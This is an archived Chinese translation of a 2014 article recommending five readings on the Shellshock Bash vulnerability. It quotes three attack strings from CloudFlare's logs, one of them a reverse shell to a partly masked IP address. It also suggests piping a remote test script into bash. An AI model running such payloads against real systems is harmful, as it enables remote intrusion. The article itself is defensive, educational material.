登入  |  English
感謝您對「自由軟體鑄造場」的支持與愛護,十多年來「自由軟體鑄造場」受中央研究院支持,並在資訊科學研究所以及資訊科技創新研究中心執行,現已完成階段性的任務。 原網站預計持續維運至 2021年底,網站內容基本上不會再更動。本網站由 Denny Huang 備份封存。
也紀念我們永遠的朋友 李士傑先生(Shih-Chieh Ilya Li)。
源碼新聞 了解 Shellshock Bash 臭蟲該讀的五篇文章

了解 Shellshock Bash 臭蟲該讀的五篇文章

本文翻譯自 Javarevisited,原作者為 Javin Paul:https://javarevisited.blogspot.tw/2014/10/5-articles-to-learn-about-shellshock.html

2014 年看起來就像充斥重大軟體臭蟲與漏洞的一年。今年稍早,網際網路才因為 Heartbleed 漏洞受傷流血,現在又因為 ShellShock 臭蟲而飽受震驚。對我來說後者看起來比 Heartbleed 還嚴重,因為問題出在 Bash Shell,所有 UNIX shells 中最普遍的一個。由於投資銀行、保險公司、雲端、電子商務領域的多數伺服器,都是最常使用到 bash 的 Linux 伺服器,影響所及相當廣大。我確定採用 Microsoft 軟體堆疊的人現在正樂不可支,不過等一等,請讀完整篇文章。

當消息在線上與線下世界傳開之後,Shellshock 臭蟲的細節開始浮現。大家都在談論,工程師忙著修補伺服器、電腦、路由器、防火牆,以及其他用到有問題 bash 的電腦資源。幾乎每個地方都在修補。我知道許多我的讀者依然對 ShellShock 臭蟲感到困惑。對於他們來說,這是個任意代碼執行 (arbitrary code execution,ACE) 漏洞,這表示攻擊者可以在你有漏洞的伺服器上,執行他們的程式。這跟你有什麼關係?如果他們可以執行他們的指令的話,就可以對你的伺服器和業務予取予求。一開始他們可以停止你的伺服器、刪除檔案、偷取密碼並完全控制該機器、執行遠端操作。一般來說,任意代碼執行漏洞攻擊非常的複雜,需要對程式碼執行內部、記憶體配置、組合語言有著專家般理解才行,使得這些攻擊非常困難。

多謝了 Bash ShellShock 臭蟲,現在甚至是新手程式設計者也可以發動如此強大的攻擊,控制有漏洞的伺服器。舉例來說,由於 ShellShock 漏洞,任何人都可以僅僅透過發送 HTTP 要求來控制你的網路伺服器。雖然很嚴重,但所幸影響只限於那些伺服器端程式將用戶提供資訊傳遞給 Bash Shell 的伺服器。如果你的 Java 伺服器沒做這件事,你可能就不會受到這種攻擊影響。

順帶一提,假如你上週正巧到某個沒有網路的鄉村度假,對於 Bash Shell 裡的 ShellShock 臭蟲一無所知,這裡列出了五篇文章能告訴你有關這個 Bash 臭蟲的一切,從介紹它到駭客如何加以運用。甚至有些網站或工具,可以檢查你的伺服器是否受到 ShellShock 影響。你可以用這個網站檢查你的系統有沒有漏洞,並了解如何加以修補,以免於受攻擊風險。

深入 Shellshock:駭客如何利用它入侵系統

這是我在 ShellShock 問題上讀到最好的文章之一,我建議所有人最先讀這一篇。Cloudflare 很高竿地用簡單的話解釋了 ShellShock 臭蟲。讀完這篇之後,你就知道 () { :; }; 這些魔術字串是如何把你的伺服器控制權,交到遠在千里之外的駭客手上。Cloudflare 不僅迅速地修補好他們的伺服器,以保障其客戶權益,更讓人們了解此一重大漏洞。由於他們宣稱阻擋了威脅,並限制遭到濫用的殭屍程序和爬蟲,浪費他們用戶的頻寬與伺服器資源,這也有助於他們的業務。我之所以列出這一篇文章,還有一個理由。它使用了範例示範駭客如何看來無害的 HTTP 要求,來利用 bash shell 的 ShellShock 漏洞。CloudFlare 還放出了阻擋利用 ShellShock 的 WAF 規則。這個臭蟲在他們的記錄檔,有著某些共同的模式:

() { :;}; /bin/ping -c 1 198.x.x.x; 
() { :;}; echo shellshock-scan > /dev/udp/example.com/1234 
() { ignored;};/bin/bash -i >& /dev/tcp/104.x.x.x/80 0>&1

假如你是 CloudFlare 的客戶,你可以鬆一口氣了,不過你也可以用這些模式,看看你的網路伺服器上有沒有類似的東西。感謝  John Graham-Cumming 這麼棒的作品。你還在等什麼,趕快閱讀這篇文章吧。

關於 ShellShock Bash 臭蟲你必須知道的一切

Troy Hunt 是 Microsoft 在開發者安全的最有價值專家 (Most Valuable Professional),他今年稍早曾針對 Heartbleed 臭蟲分享過類似資訊。Tony 擅長提供人們確切資訊,協助他們從誇大宣傳中剖析出真正的潛在風險。從介紹 bash shell 以及其用途開始,Tony 分享了這個臭蟲事實上為何, 以及其潛在的後果。除此之外,還有像是哪個版本的 Bash shells 會受影響,ShellShock 臭蟲何時首次被發現,風險會持續多久等。由於 bash 基本上是一種 UNIX shell,他也分析了 Microsoft 軟體堆疊在何種情況下也會受到該臭蟲影響。這篇文章最棒的地方在於,告訴你接下來可以做些什麼。他從系統管理者與消費者的角度,解釋了接下來的步驟。簡單來說,這篇文章就跟其標題一樣,就是關於 ShellShock Bash 臭蟲你必須知道的一切。

Bash 的 ‘shellshock’ 臭蟲可能成為蠕蟲

Robert Graham 透過初步掃描評估了這個臭蟲的影響。他的掃描初步結果顯示出有多少系統僅於 80 port,或僅在根路徑的 “/” URL,或在沒有 Host 欄位時存有漏洞。他提出很棒的一點,就是 CGI 腳本如果有呼叫 bash,不論有多間接,也可能造成漏洞。他更提到在特殊 port 上的嵌入式網路伺服器,才是真正的危險所在,而且不只是 web,其他像是 DHCP 服務也會受這個臭蟲影響。

網際網路的 Bash ‘shellshock’ 掃描

這是 Robert Graham 最初做的掃描,也就是上一篇文章所討論的。現在惡意軟體正使用他的用戶代理 (user agent),假裝是已知的掃描。Robert 的掃描是將一大堆 ping home 指令,塞進各種 CGI 變數裡,只為了看看這個 bash 臭蟲漏洞有多麼廣泛,但是這已足以在許多網站管理者間,造成小小的恐慌。這個掃描只發現了數千部系統 (因為有意的限制),不過已經顯示出 ShellShock 臭蟲的實際潛力。

Shellshock BASH 漏洞測試器

這個網站是由醫療資訊工程 (Medical Informatics Engineering) 的醫療 IT 團隊所開發。他們分享了對 shellshock 漏洞的了解,以及如何保護他們的基礎建設。這個網站對於了解 shellshock 和避免受到影響很有幫助。許多人貢獻了簡單的指令,可用來測試你的伺服器是否會受到 shellshock 影響。例如,你可以執行這一行來確認你的機器是否有漏洞:

curl https://shellshocker.net/shellshock_test.sh | bash

如果你希望對每一個問題 (CVE-2014-6271、CVE-2014-7169、CVE-2014-7186、CVE-2014-7187、CVE-2014-6277、CVE-2014-6278) 個別做測試,他們也有逐步進行的指南。透過這裡的連接,你也可以找到一些有關現實 ShellShock 攻擊的文章。

簡而言之,ShellShock 是 GNU 的 bash shell 裡的一個漏洞,讓攻擊者得以在受影響系統上執行遠端指令。假如你的系統從 Tue Sep 30 2014: 1:32PM EST 之後沒有更新過 bash 的話,你非常有可能已經受到影響。根據 NVD,這個安全漏洞影響範圍從 1994 年釋出的 1.14 版本到最近的 4.3 版。如果你的網站交由主要雲端供應者代管,他們很可能已經做好修補。如果你在大型組織內工作,你可以已經注意到修補 UNIX 伺服器的動作突然暴增。我還沒有聽到任何 bash shellshock 臭蟲造成的事件,希望所有伺服器都能在為時已晚之前做好修補。




自由軟體鑄造場電子報 : 第 251 期 我懂你想說什麼!專訪銘傳大學「一個行動手語圖形檢索參考架構與系統」

分類: 源碼新聞